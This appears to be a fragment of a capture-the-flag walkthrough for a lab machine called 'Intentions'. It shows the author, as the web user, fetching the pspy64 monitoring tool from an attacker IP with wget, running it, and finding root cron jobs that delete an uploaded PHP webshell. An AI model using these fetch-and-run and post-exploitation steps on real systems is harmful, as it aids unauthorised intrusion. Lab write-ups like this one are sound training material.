Intentions_PSPY

PSPY

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A root cronjob process was found

www-data@intentions:/dev/shm$ wget -q http://10.10.14.5/pspy64 ; chmod 755 /dev/shm/pspy64

Delivery complete

www-data@intentions:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
 
 
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config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

Executing PSPY

The first command appears to execute a Bash script locate in the home directory of the root user This is directly relevant to how I gained the initial foothold as it deletes the temporary uploaded file

The second command also deletes PHP files within the public directory of the web application This explains the disappearance of the uploaded PHP webshell